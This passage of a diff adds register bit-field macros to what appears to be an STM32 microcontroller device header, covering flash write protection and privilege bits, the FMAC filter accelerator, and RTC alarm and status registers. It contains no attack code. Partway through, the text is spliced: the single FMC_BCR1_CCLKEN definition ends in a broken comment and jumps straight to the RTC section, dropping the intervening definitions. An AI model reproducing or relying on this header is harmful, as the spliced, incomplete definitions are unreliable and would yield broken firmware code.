0x00FF0000 */ +#define FLASH_WRP2AR_WRP2A_PEND FLASH_WRP2AR_WRP2A_PEND_Msk /*!< Bank 2 WPR first area A end page */ +#define FLASH_WRP2AR_UNLOCK_Pos (31UL) +#define FLASH_WRP2AR_UNLOCK_Msk (0x1UL << FLASH_WRP2AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2AR_UNLOCK FLASH_WRP2AR_UNLOCK_Msk /*!< Bank 2 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP2BR register ***************/ +#define FLASH_WRP2BR_WRP2B_PSTRT_Pos (0UL) +#define FLASH_WRP2BR_WRP2B_PSTRT_Msk (0xFFUL << FLASH_WRP2BR_WRP2B_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP2BR_WRP2B_PSTRT FLASH_WRP2BR_WRP2B_PSTRT_Msk /*!< Bank 2 WPR first area B start page */ +#define FLASH_WRP2BR_WRP2B_PEND_Pos (16UL) +#define FLASH_WRP2BR_WRP2B_PEND_Msk (0xFFUL << FLASH_WRP2BR_WRP2B_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP2BR_WRP2B_PEND FLASH_WRP2BR_WRP2B_PEND_Msk /*!< Bank 2 WPR first area B end page */ +#define FLASH_WRP2BR_UNLOCK_Pos (31UL) +#define FLASH_WRP2BR_UNLOCK_Msk (0x1UL << FLASH_WRP2BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2BR_UNLOCK FLASH_WRP2BR_UNLOCK_Msk /*!< Bank 2 WPR first area B unlock */ + +/****************** Bits definition for FLASH_SECHDPCR register ***********/ +#define FLASH_SECHDPCR_HDP1_ACCDIS_Pos (0UL) +#define FLASH_SECHDPCR_HDP1_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP1_ACCDIS_Pos) /*!< 0x00000001 */ +#define FLASH_SECHDPCR_HDP1_ACCDIS FLASH_SECHDPCR_HDP1_ACCDIS_Msk /*!< HDP1 area access disable */ +#define FLASH_SECHDPCR_HDP2_ACCDIS_Pos (1UL) +#define FLASH_SECHDPCR_HDP2_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP2_ACCDIS_Pos) /*!< 0x00000002 */ +#define FLASH_SECHDPCR_HDP2_ACCDIS FLASH_SECHDPCR_HDP2_ACCDIS_Msk /*!< HDP2 area access disable */ + +/****************** Bits definition for FLASH_PRIVCFGR register ***********/ +#define FLASH_PRIVCFGR_SPRIV_Pos (0UL) +#define FLASH_PRIVCFGR_SPRIV_Msk (0x1UL << FLASH_PRIVCFGR_SPRIV_Pos) /*!< 0x00000001 */ +#define FLASH_PRIVCFGR_SPRIV FLASH_PRIVCFGR_SPRIV_Msk /*!< Privilege protection for secure registers */ +#define FLASH_PRIVCFGR_NSPRIV_Pos (1UL) +#define FLASH_PRIVCFGR_NSPRIV_Msk (0x1UL << FLASH_PRIVCFGR_NSPRIV_Pos) /*!< 0x00000002 */ +#define FLASH_PRIVCFGR_NSPRIV FLASH_PRIVCFGR_NSPRIV_Msk /*!< Privilege protection for non-secure registers */ + +/******************************************************************************/ +/* */ +/* Filter Mathematical ACcelerator unit (FMAC) */ +/* */ +/******************************************************************************/ +/***************** Bit definition for FMAC_X1BUFCFG register ****************/ +#define FMAC_X1BUFCFG_X1_BASE_Pos (0UL) +#define FMAC_X1BUFCFG_X1_BASE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X1BUFCFG_X1_BASE FMAC_X1BUFCFG_X1_BASE_Msk /*!< Base address of X1 buffer */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Pos (8UL) +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE FMAC_X1BUFCFG_X1_BUF_SIZE_Msk /*!< Allocated size of X1 buffer in 16-bit words */ +#define FMAC_X1BUFCFG_FULL_WM_Pos (24UL) +#define FMAC_X1BUFCFG_FULL_WM_Msk (0x3UL << FMAC_X1BUFCFG_FULL_WM_Pos) /*!< 0x03000000 */ +#define FMAC_X1BUFCFG_FULL_WM FMAC_X1BUFCFG_FULL_WM_Msk /*!< Watermark for buffer full flag */ + +/***************** Bit definition for FMAC_X2BUFCFG register ****************/ +#define FMAC_X2BUFCFG_X2_BASE_Pos (0UL) +#define FMAC_X2BUFCFG_X2_BASE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X2BUFCFG_X2_BASE FMAC_X2BUFCFG_X2_BASE_Msk /*!< Base address of X2 buffer */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Pos (8UL) +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE FMAC_X2BUFCFG_X2_BUF_SIZE_Msk /*!< Size of X2 buffer in 16-bit words */ + +/***************** Bit definition for FMAC_YBUFCFG register *****************/ +#define FMAC_YBUFCFG_Y_BASE_Pos (0UL) +#define FMAC_YBUFCFG_Y_BASE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_YBUFCFG_Y_BASE FMAC_YBUFCFG_Y_BASE_Msk /*!< Base address of Y buffer */ +#define FMAC_YBUFCFG_Y_BUF_SIZE_Pos (8UL) +#define FMAC_YBUFCFG_Y_BUF_SIZE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_YBUFCFG_Y_BUF_SIZE FMAC_YBUFCFG_Y_BUF_SIZE_Msk /*!< Size of Y buffer in 16-bit words */ +#define FMAC_YBUFCFG_EMPTY_WM_Pos (24UL) +#define FMAC_YBUFCFG_EMPTY_WM_Msk (0x3UL << FMAC_YBUFCFG_EMPTY_WM_Pos) /*!< 0x03000000 */ +#define FMAC_YBUFCFG_EMPTY_WM FMAC_YBUFCFG_EMPTY_WM_Msk /*!< Watermark for buffer empty flag */ + +/****************** Bit definition for FMAC_PARAM register ******************/ +#define FMAC_PARAM_P_Pos (0UL) +#define FMAC_PARAM_P_Msk (0xFFUL << FMAC_PARAM_P_Pos) /*!< 0x000000FF */ +#define FMAC_PARAM_P FMAC_PARAM_P_Msk /*!< Input parameter P */ +#define FMAC_PARAM_Q_Pos (8UL) +#define FMAC_PARAM_Q_Msk (0xFFUL << FMAC_PARAM_Q_Pos) /*!< 0x0000FF00 */ +#define FMAC_PARAM_Q FMAC_PARAM_Q_Msk /*!< Input parameter Q */ +#define FMAC_PARAM_R_Pos (16UL) +#define FMAC_PARAM_R_Msk (0xFFUL << FMAC_PARAM_R_Pos) /*!< 0x00FF0000 */ +#define FMAC_PARAM_R FMAC_PARAM_R_Msk /*!< Input parameter R */ +#define FMAC_PARAM_FUNC_Pos (24UL) +#define FMAC_PARAM_FUNC_Msk (0x7FUL << FMAC_PARAM_FUNC_Pos) /*!< 0x7F000000 */ +#define FMAC_PARAM_FUNC FMAC_PARAM_FUNC_Msk /*!< Function */ +#define FMAC_PARAM_FUNC_0 (0x1UL << FMAC_PARAM_FUNC_Pos) /*!< 0x01000000 */ +#define FMAC_PARAM_FUNC_1 (0x2UL << FMAC_PARAM_FUNC_Pos) /*!< 0x02000000 */ +#define FMAC_PARAM_FUNC_2 (0x4UL << FMAC_PARAM_FUNC_Pos) /*!< 0x04000000 */ +#define FMAC_PARAM_FUNC_3 (0x8UL << FMAC_PARAM_FUNC_Pos) /*!< 0x08000000 */ +#define FMAC_PARAM_FUNC_4 (0x10UL << FMAC_PARAM_FUNC_Pos) /*!< 0x10000000 */ +#define FMAC_PARAM_FUNC_5 (0x20UL << FMAC_PARAM_FUNC_Pos) /*!< 0x20000000 */ +#define FMAC_PARAM_FUNC_6 (0x40UL << FMAC_PARAM_FUNC_Pos) /*!< 0x40000000 */ +#define FMAC_PARAM_START_Pos (31UL) +#define FMAC_PARAM_START_Msk (0x1UL << FMAC_PARAM_START_Pos) /*!< 0x80000000 */ +#define FMAC_PARAM_START FMAC_PARAM_START_Msk /*!< Enable execution */ + +/******************** Bit definition for FMAC_CR register *******************/ +#define FMAC_CR_RIEN_Pos (0UL) +#define FMAC_CR_RIEN_Msk (0x1UL << FMAC_CR_RIEN_Pos) /*!< 0x00000001 */ +#define FMAC_CR_RIEN FMAC_CR_RIEN_Msk /*!< Enable read interrupt */ +#define FMAC_CR_WIEN_Pos (1UL) +#define FMAC_CR_WIEN_Msk (0x1UL << FMAC_CR_WIEN_Pos) /*!< 0x00000002 */ +#define FMAC_CR_WIEN FMAC_CR_WIEN_Msk /*!< Enable write interrupt */ +#define FMAC_CR_OVFLIEN_Pos (2UL) +#define FMAC_CR_OVFLIEN_Msk (0x1UL << FMAC_CR_OVFLIEN_Pos) /*!< 0x00000004 */ +#define FMAC_CR_OVFLIEN FMAC_CR_OVFLIEN_Msk /*!< Enable overflow error interrupts */ +#define FMAC_CR_UNFLIEN_Pos (3UL) +#define FMAC_CR_UNFLIEN_Msk (0x1UL << FMAC_CR_UNFLIEN_Pos) /*!< 0x00000008 */ +#define FMAC_CR_UNFLIEN FMAC_CR_UNFLIEN_Msk /*!< Enable underflow error interrupts */ +#define FMAC_CR_SATIEN_Pos (4UL) +#define FMAC_CR_SATIEN_Msk (0x1UL << FMAC_CR_SATIEN_Pos) /*!< 0x00000010 */ +#define FMAC_CR_SATIEN FMAC_CR_SATIEN_Msk /*!< Enable saturation error interrupts */ +#define FMAC_CR_DMAREN_Pos (8UL) +#define FMAC_CR_DMAREN_Msk (0x1UL << FMAC_CR_DMAREN_Pos) /*!< 0x00000100 */ +#define FMAC_CR_DMAREN FMAC_CR_DMAREN_Msk /*!< Enable DMA read channel requests */ +#define FMAC_CR_DMAWEN_Pos (9UL) +#define FMAC_CR_DMAWEN_Msk (0x1UL << FMAC_CR_DMAWEN_Pos) /*!< 0x00000200 */ +#define FMAC_CR_DMAWEN FMAC_CR_DMAWEN_Msk /*!< Enable DMA write channel requests */ +#define FMAC_CR_CLIPEN_Pos (15UL) +#define FMAC_CR_CLIPEN_Msk (0x1UL << FMAC_CR_CLIPEN_Pos) /*!< 0x00008000 */ +#define FMAC_CR_CLIPEN FMAC_CR_CLIPEN_Msk /*!< Enable clipping */ +#define FMAC_CR_RESET_Pos (16UL) +#define FMAC_CR_RESET_Msk (0x1UL << FMAC_CR_RESET_Pos) /*!< 0x00010000 */ +#define FMAC_CR_RESET FMAC_CR_RESET_Msk /*!< Reset filter mathematical accelerator unit */ + +/******************* Bit definition for FMAC_SR register ********************/ +#define FMAC_SR_YEMPTY_Pos (0UL) +#define FMAC_SR_YEMPTY_Msk (0x1UL << FMAC_SR_YEMPTY_Pos) /*!< 0x00000001 */ +#define FMAC_SR_YEMPTY FMAC_SR_YEMPTY_Msk /*!< Y buffer empty flag */ +#define FMAC_SR_X1FULL_Pos (1UL) +#define FMAC_SR_X1FULL_Msk (0x1UL << FMAC_SR_X1FULL_Pos) /*!< 0x00000002 */ +#define FMAC_SR_X1FULL FMAC_SR_X1FULL_Msk /*!< X1 buffer full flag */ +#define FMAC_SR_OVFL_Pos (8UL) +#define FMAC_SR_OVFL_Msk (0x1UL << FMAC_SR_OVFL_Pos) /*!< 0x00000100 */ +#define FMAC_SR_OVFL FMAC_SR_OVFL_Msk /*!< Overflow error flag */ +#define FMAC_SR_UNFL_Pos (9UL) +#define FMAC_SR_UNFL_Msk (0x1UL << FMAC_SR_UNFL_Pos) /*!< 0x00000200 */ +#define FMAC_SR_UNFL FMAC_SR_UNFL_Msk /*!< Underflow error flag */ +#define FMAC_SR_SAT_Pos (10UL) +#define FMAC_SR_SAT_Msk (0x1UL << FMAC_SR_SAT_Pos) /*!< 0x00000400 */ +#define FMAC_SR_SAT FMAC_SR_SAT_Msk /*!< Saturation error flag */ + +/****************** Bit definition for FMAC_WDATA register ******************/ +#define FMAC_WDATA_WDATA_Pos (0UL) +#define FMAC_WDATA_WDATA_Msk (0xFFFFUL << FMAC_WDATA_WDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_WDATA_WDATA FMAC_WDATA_WDATA_Msk /*!< Write data */ + +/****************** Bit definition for FMACX_RDATA register *****************/ +#define FMAC_RDATA_RDATA_Pos (0UL) +#define FMAC_RDATA_RDATA_Msk (0xFFFFUL << FMAC_RDATA_RDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_RDATA_RDATA FMAC_RDATA_RDATA_Msk /*!< Read data */ + +/******************************************************************************/ +/* */ +/* Flexible Memory Controller */ +/* */ +/******************************************************************************/ +/****************** Bit definition for FMC_BCR1 register *******************/ +#define FMC_BCR1_CCLKEN_Pos (20UL) +#define FMC_BCR1_CCLKEN_Msk (0x1UL << FMC_BCR1_CCLKEN_Pos) /*!< 0x00100000 */ +#define FMC_BCR1_CCLKEN FMC_BCR1_CCLKEN_Msk /*! */ + +/******************** Bits definition for RTC_ALRMAR register ***************/ +#define RTC_ALRMAR_SU_Pos (0UL) +#define RTC_ALRMAR_SU_Msk (0xFUL << RTC_ALRMAR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMAR_SU RTC_ALRMAR_SU_Msk +#define RTC_ALRMAR_SU_0 (0x1UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMAR_SU_1 (0x2UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMAR_SU_2 (0x4UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMAR_SU_3 (0x8UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMAR_ST_Pos (4UL) +#define RTC_ALRMAR_ST_Msk (0x7UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMAR_ST RTC_ALRMAR_ST_Msk +#define RTC_ALRMAR_ST_0 (0x1UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMAR_ST_1 (0x2UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMAR_ST_2 (0x4UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMAR_MSK1_Pos (7UL) +#define RTC_ALRMAR_MSK1_Msk (0x1UL << RTC_ALRMAR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMAR_MSK1 RTC_ALRMAR_MSK1_Msk +#define RTC_ALRMAR_MNU_Pos (8UL) +#define RTC_ALRMAR_MNU_Msk (0xFUL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMAR_MNU RTC_ALRMAR_MNU_Msk +#define RTC_ALRMAR_MNU_0 (0x1UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMAR_MNU_1 (0x2UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMAR_MNU_2 (0x4UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMAR_MNU_3 (0x8UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMAR_MNT_Pos (12UL) +#define RTC_ALRMAR_MNT_Msk (0x7UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMAR_MNT RTC_ALRMAR_MNT_Msk +#define RTC_ALRMAR_MNT_0 (0x1UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMAR_MNT_1 (0x2UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMAR_MNT_2 (0x4UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMAR_MSK2_Pos (15UL) +#define RTC_ALRMAR_MSK2_Msk (0x1UL << RTC_ALRMAR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMAR_MSK2 RTC_ALRMAR_MSK2_Msk +#define RTC_ALRMAR_HU_Pos (16UL) +#define RTC_ALRMAR_HU_Msk (0xFUL << RTC_ALRMAR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMAR_HU RTC_ALRMAR_HU_Msk +#define RTC_ALRMAR_HU_0 (0x1UL << RTC_ALRMAR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMAR_HU_1 (0x2UL << RTC_ALRMAR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMAR_HU_2 (0x4UL << RTC_ALRMAR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMAR_HU_3 (0x8UL << RTC_ALRMAR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMAR_HT_Pos (20UL) +#define RTC_ALRMAR_HT_Msk (0x3UL << RTC_ALRMAR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMAR_HT RTC_ALRMAR_HT_Msk +#define RTC_ALRMAR_HT_0 (0x1UL << RTC_ALRMAR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMAR_HT_1 (0x2UL << RTC_ALRMAR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMAR_PM_Pos (22UL) +#define RTC_ALRMAR_PM_Msk (0x1UL << RTC_ALRMAR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMAR_PM RTC_ALRMAR_PM_Msk +#define RTC_ALRMAR_MSK3_Pos (23UL) +#define RTC_ALRMAR_MSK3_Msk (0x1UL << RTC_ALRMAR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMAR_MSK3 RTC_ALRMAR_MSK3_Msk +#define RTC_ALRMAR_DU_Pos (24UL) +#define RTC_ALRMAR_DU_Msk (0xFUL << RTC_ALRMAR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMAR_DU RTC_ALRMAR_DU_Msk +#define RTC_ALRMAR_DU_0 (0x1UL << RTC_ALRMAR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMAR_DU_1 (0x2UL << RTC_ALRMAR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMAR_DU_2 (0x4UL << RTC_ALRMAR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMAR_DU_3 (0x8UL << RTC_ALRMAR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMAR_DT_Pos (28UL) +#define RTC_ALRMAR_DT_Msk (0x3UL << RTC_ALRMAR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMAR_DT RTC_ALRMAR_DT_Msk +#define RTC_ALRMAR_DT_0 (0x1UL << RTC_ALRMAR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMAR_DT_1 (0x2UL << RTC_ALRMAR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMAR_WDSEL_Pos (30UL) +#define RTC_ALRMAR_WDSEL_Msk (0x1UL << RTC_ALRMAR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMAR_WDSEL RTC_ALRMAR_WDSEL_Msk +#define RTC_ALRMAR_MSK4_Pos (31UL) +#define RTC_ALRMAR_MSK4_Msk (0x1UL << RTC_ALRMAR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMAR_MSK4 RTC_ALRMAR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMASSR register *************/ +#define RTC_ALRMASSR_SS_Pos (0UL) +#define RTC_ALRMASSR_SS_Msk (0x7FFFUL << RTC_ALRMASSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMASSR_SS RTC_ALRMASSR_SS_Msk +#define RTC_ALRMASSR_MASKSS_Pos (24UL) +#define RTC_ALRMASSR_MASKSS_Msk (0xFUL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMASSR_MASKSS RTC_ALRMASSR_MASKSS_Msk +#define RTC_ALRMASSR_MASKSS_0 (0x1UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMASSR_MASKSS_1 (0x2UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMASSR_MASKSS_2 (0x4UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMASSR_MASKSS_3 (0x8UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMASSR_SSCLR_Pos (31UL) +#define RTC_ALRMASSR_SSCLR_Msk (0x1UL << RTC_ALRMASSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMASSR_SSCLR RTC_ALRMASSR_SSCLR_Msk + +/******************** Bits definition for RTC_ALRMBR register ***************/ +#define RTC_ALRMBR_SU_Pos (0UL) +#define RTC_ALRMBR_SU_Msk (0xFUL << RTC_ALRMBR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMBR_SU RTC_ALRMBR_SU_Msk +#define RTC_ALRMBR_SU_0 (0x1UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMBR_SU_1 (0x2UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMBR_SU_2 (0x4UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMBR_SU_3 (0x8UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMBR_ST_Pos (4UL) +#define RTC_ALRMBR_ST_Msk (0x7UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMBR_ST RTC_ALRMBR_ST_Msk +#define RTC_ALRMBR_ST_0 (0x1UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMBR_ST_1 (0x2UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMBR_ST_2 (0x4UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMBR_MSK1_Pos (7UL) +#define RTC_ALRMBR_MSK1_Msk (0x1UL << RTC_ALRMBR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMBR_MSK1 RTC_ALRMBR_MSK1_Msk +#define RTC_ALRMBR_MNU_Pos (8UL) +#define RTC_ALRMBR_MNU_Msk (0xFUL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMBR_MNU RTC_ALRMBR_MNU_Msk +#define RTC_ALRMBR_MNU_0 (0x1UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMBR_MNU_1 (0x2UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMBR_MNU_2 (0x4UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMBR_MNU_3 (0x8UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMBR_MNT_Pos (12UL) +#define RTC_ALRMBR_MNT_Msk (0x7UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMBR_MNT RTC_ALRMBR_MNT_Msk +#define RTC_ALRMBR_MNT_0 (0x1UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMBR_MNT_1 (0x2UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMBR_MNT_2 (0x4UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMBR_MSK2_Pos (15UL) +#define RTC_ALRMBR_MSK2_Msk (0x1UL << RTC_ALRMBR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMBR_MSK2 RTC_ALRMBR_MSK2_Msk +#define RTC_ALRMBR_HU_Pos (16UL) +#define RTC_ALRMBR_HU_Msk (0xFUL << RTC_ALRMBR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMBR_HU RTC_ALRMBR_HU_Msk +#define RTC_ALRMBR_HU_0 (0x1UL << RTC_ALRMBR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMBR_HU_1 (0x2UL << RTC_ALRMBR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMBR_HU_2 (0x4UL << RTC_ALRMBR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMBR_HU_3 (0x8UL << RTC_ALRMBR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMBR_HT_Pos (20UL) +#define RTC_ALRMBR_HT_Msk (0x3UL << RTC_ALRMBR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMBR_HT RTC_ALRMBR_HT_Msk +#define RTC_ALRMBR_HT_0 (0x1UL << RTC_ALRMBR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMBR_HT_1 (0x2UL << RTC_ALRMBR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMBR_PM_Pos (22UL) +#define RTC_ALRMBR_PM_Msk (0x1UL << RTC_ALRMBR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMBR_PM RTC_ALRMBR_PM_Msk +#define RTC_ALRMBR_MSK3_Pos (23UL) +#define RTC_ALRMBR_MSK3_Msk (0x1UL << RTC_ALRMBR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMBR_MSK3 RTC_ALRMBR_MSK3_Msk +#define RTC_ALRMBR_DU_Pos (24UL) +#define RTC_ALRMBR_DU_Msk (0xFUL << RTC_ALRMBR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBR_DU RTC_ALRMBR_DU_Msk +#define RTC_ALRMBR_DU_0 (0x1UL << RTC_ALRMBR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBR_DU_1 (0x2UL << RTC_ALRMBR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBR_DU_2 (0x4UL << RTC_ALRMBR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBR_DU_3 (0x8UL << RTC_ALRMBR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBR_DT_Pos (28UL) +#define RTC_ALRMBR_DT_Msk (0x3UL << RTC_ALRMBR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMBR_DT RTC_ALRMBR_DT_Msk +#define RTC_ALRMBR_DT_0 (0x1UL << RTC_ALRMBR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBR_DT_1 (0x2UL << RTC_ALRMBR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBR_WDSEL_Pos (30UL) +#define RTC_ALRMBR_WDSEL_Msk (0x1UL << RTC_ALRMBR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMBR_WDSEL RTC_ALRMBR_WDSEL_Msk +#define RTC_ALRMBR_MSK4_Pos (31UL) +#define RTC_ALRMBR_MSK4_Msk (0x1UL << RTC_ALRMBR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBR_MSK4 RTC_ALRMBR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMBSSR register *************/ +#define RTC_ALRMBSSR_SS_Pos (0UL) +#define RTC_ALRMBSSR_SS_Msk (0x7FFFUL << RTC_ALRMBSSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMBSSR_SS RTC_ALRMBSSR_SS_Msk +#define RTC_ALRMBSSR_MASKSS_Pos (24UL) +#define RTC_ALRMBSSR_MASKSS_Msk (0xFUL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBSSR_MASKSS RTC_ALRMBSSR_MASKSS_Msk +#define RTC_ALRMBSSR_MASKSS_0 (0x1UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBSSR_MASKSS_1 (0x2UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBSSR_MASKSS_2 (0x4UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBSSR_MASKSS_3 (0x8UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBSSR_SSCLR_Pos (31UL) +#define RTC_ALRMBSSR_SSCLR_Msk (0x1UL << RTC_ALRMBSSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBSSR_SSCLR RTC_ALRMBSSR_SSCLR_Msk + +/******************** Bits definition for RTC_SR register *******************/ +#define RTC_SR_ALRAF_Pos (0UL) +#define RTC_SR_ALRAF_Msk (0x1UL << RTC_SR_ALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SR_ALRAF RTC_SR_ALRAF_Msk +#define RTC_SR_ALRBF_Pos (1UL) +#define RTC_SR_ALRBF_Msk (0x1UL << RTC_SR_ALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SR_ALRBF RTC_SR_ALRBF_Msk +#define RTC_SR_WUTF_Pos (2UL) +#define RTC_SR_WUTF_Msk (0x1UL << RTC_SR_WUTF_Pos) /*!< 0x00000004 */ +#define RTC_SR_WUTF RTC_SR_WUTF_Msk +#define RTC_SR_TSF_Pos (3UL) +#define RTC_SR_TSF_Msk (0x1UL << RTC_SR_TSF_Pos) /*!< 0x00000008 */ +#define RTC_SR_TSF RTC_SR_TSF_Msk +#define RTC_SR_TSOVF_Pos (4UL) +#define RTC_SR_TSOVF_Msk (0x1UL << RTC_SR_TSOVF_Pos) /*!< 0x00000010 */ +#define 